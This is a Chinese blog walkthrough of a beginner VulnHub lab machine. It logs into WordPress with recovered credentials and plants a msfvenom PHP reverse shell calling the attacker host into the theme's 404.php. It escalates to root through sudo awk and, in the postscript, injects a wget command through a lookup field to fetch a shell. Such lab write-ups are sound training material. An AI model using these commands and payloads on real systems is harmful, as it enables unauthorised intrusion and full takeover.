靶机地址
难度:初级
靶机发布日期:2019年11月1日
靶机描述:Contact… https://www.linkedin.com/in/rahulgehlaut/
For any Error
This works better in VirtualBox than VMware
博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:want2live233@gmail.com
工具、知识点和漏洞
- nmap
- dirsearch
- gobuster
- metaspaloit
- msfvenom
0x00、信息收集
靶机IP:192.168.0.107
nmap -sn 192.168.0.0/24
端口和服务
nmap -sS -sV -T5 -A -p- 192.168.0.107
页面、目录枚举
dirb http://192.168.0.107 -X .php,.txt,.zip,.html
python3 dirsearch.py -u http://192.168.0.107 -e .php,.txt,.zip,.html
gobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
wpscan扫描了一下,检测到版本是5.2.3,有一个用户web,虽然有6个漏洞,但是网上没有可以直接利用的exp
wpscan --url http://192.168.0.107/wordpress/ -e vt,vp,u --api-token 你的api-token
http://192.168.0.107/html/
http://192.168.0.107/img/
0x01、获得WordPress密码
看到一个名为flaghost.png的图片,它不敏感吗?它不香吗?
http://192.168.0.107/wordpress/
我修改了kali的/etc/hosts文件
重新访问http://192.168.0.107/wordpress/,页面显示正常了
下载这个名字特别的图片,看看里面有没有什么东西
首先尝试了图种形式的隐写,发现没有包含其他文件
接着用了strings命令,发现有个passw@45
的字符串,这个就有点特别了
strings Desktop/flaghost.png
接着用exiftool查看了一下图片EXIF信息
exiftool Desktop/flaghost.png
关于图片隐写的文章,可以去先知社区看
那这个passw@45肯定是有用的了,但是它是什么?密码吗?之前wpscan知道了WordPress有一个用户名为web,登录了一下发现不对(http://localhost/wordpress/wp-login.php)。
根据现有的信息去推测,会不会是网页目录?中奖了
查看flag2.txt,发现是是Brainfuck编码
网上搜索了一下“Brainfuck解码”,发现了https://www.splitbrain.org/services/ook这个在线解码网站,解码后得到WordPress的用户名和密码web:Hacker@4514
0x02、getshell
WordPress登录后台之后,那肯定就是看能不能修改主题中php文件,毕竟反弹shell是第一位的。
主题中php文件的修改通过左侧菜单栏的Appearance --Theme Editor
,之后找到了404.php这个文件是当前用户web可以更新的。
拥有更新文件的权限对于WordPress反弹shell来说很重要
接下来就正式进入反弹shell阶段了
ifconfig eth0
命令查看kali的IP为192.168.0.108
eth0是网卡接口的名称
msfvenom生成webshell,填入404.php中,然后更新文件(Update File)
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=1234 R > shell.php
!!!
注意:使用时需要去掉最开头的两个字符/*
,不然浏览器访问反弹shell的php网页会看到/*,并且无法反弹shell.
msfvenom默认是无法自动补全的,网上有相关的教程,有需要可自行搜索。
msfconsole接收反弹的shell
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run
浏览器访问404.php(http://192.168.0.107/wordpress/wp-content/themes/twentynineteen/404.php)
访问WordPress某个主题下的php页面时,其URL主要部分的格式为/wp-content/themes/主题名称全小写/页面名称。例如,我们刚才修改的主题名称为
Twenty Nineteen
,访问时只需要修改成twentynineteen即可。
获取shell之后要做的第一件事是使用Python获取一个tty,不然有些命令是无法执行的,这一步很关键。
python -c 'import pty; pty.spawn("/bin/bash")'
如果你想使用clear
清屏,那么只需要给TERM这个环境变量赋值screen即可
export TERM=screen
0x03、提权
关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py、LinEnum.sh.
如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux
先在kali上开启HTTP服务
python -m SimpleHTTPServer 65534
使用wget下载linuxprivchecker.py脚本到靶机的tmp目录
因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的
cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py
为了便于查看收集到的信息,我将结果输出到report.txt文本中
python linuxprivchecker.py > report.txt
靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。
习惯性的扫荡home目录,发现了web用户目录下的flag3.txt
查看/etc/passwd时,发现了有一个系统用户web,前面我们已经拿到了WordPress中web用户的密码,这里尝试用一下。结果用户切换成功了。
sudo -l
发现web用户可以执行/usr/bin/awk命令,直接提权到root
sudo /usr/bin/awk 'BEGIN {system("/bin/bash")}'
0x04、后记
看了一下靶机作者写的walkthrough,发现他getshell的时候是利用了一个WordPress的插件
然而我在复现的过程中发现了一点问题,这个输入框的内容长度被限制了,输入127.0.0.1 | wge
之后再也无法输入内容了,想了一下也许应该改一下源代码……
从上图中可以看到,最大15个字符,我把input标签的maxlength值改成了1000,然后把size也改大一点,这样方便看,改完之后回车一下就生效了。
对于之前MSF中的session,我们可以通过Ctrl+C结束shell,然后使用background
让session运行在后台。
在MSF中重新设置一下当前exploit的lport,再修改一下之前生成的shell.php中port,两者保持一致即可。
将修改好的shell.php放到kali的/var/www/html目录下,启动Apache2服务。
service apache2 start
回到WordPress上,使用wget下载shell.php到靶机上,命令输入之后直接去点下面的Lookup按钮,这个时候就直接得到shell了。之后不需要像作者的walkthrough里写的那样执行php shell.php
靶机作者的Walkthrough在这里https://download.vulnhub.com/media/os-hax/CTF.pdf
OK,这个靶机就到这里了。希望能带给你一些思路。PS:不学习怎么迎娶白富美?
如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。更多VulnHub靶机的Walkthrough,请访问本人博客(https://blog.csdn.net/weixin_44214107)。欢迎扫描下方个人微信二维码与我交流。我是ins1ght.